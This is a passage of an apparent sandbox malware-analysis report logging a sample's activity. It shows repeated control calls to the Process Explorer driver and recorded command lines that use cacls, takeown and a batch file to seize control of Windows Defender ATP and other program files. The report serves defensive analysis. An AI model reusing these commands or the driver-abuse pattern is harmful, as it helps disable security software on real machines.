Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	5	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	12	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	14	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	15	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	12	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	6	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
System	Get Info	type = Operating System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 29	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #179: cacls.exe

0

»

Information	Value
ID	#179
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:56, Reason: Child Process
Unmonitor	End Time: 00:04:15, Reason: Self Terminated
Monitor Duration	00:00:19
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x13cc
Parent PID	0x910 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13E8 0x 1224

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #180: cmd.exe

92

0

»

Information	Value
ID	#180
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:57, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:28

OS Process Information

»

Information	Value
PID	0x1268
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 904 0x 1388

Threads

Thread 0x904

92

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x4bc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

Process #181: takeown.exe

0

»

Information	Value
ID	#181
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\UNP\convertible-suicide-construction.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:57, Reason: Child Process
Unmonitor	End Time: 00:04:02, Reason: Self Terminated
Monitor Duration	00:00:04
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x120c
Parent PID	0x1334 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1194 0x 10E8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #183: cacls.exe

0

»

Information	Value
ID	#183
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:00, Reason: Child Process
Unmonitor	End Time: 00:04:22, Reason: Self Terminated
Monitor Duration	00:00:22
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x11cc
Parent PID	0xfac (c:\windows\system32\apphostregistrationverifier.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1384 0x 1198

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #184: cmd.exe

87

0

»

Information	Value
ID	#184
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:02, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:23

OS Process Information

»

Information	Value
PID	0xce8
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 11B0 0x EF8

Threads

Thread 0x11b0

87

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 168, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
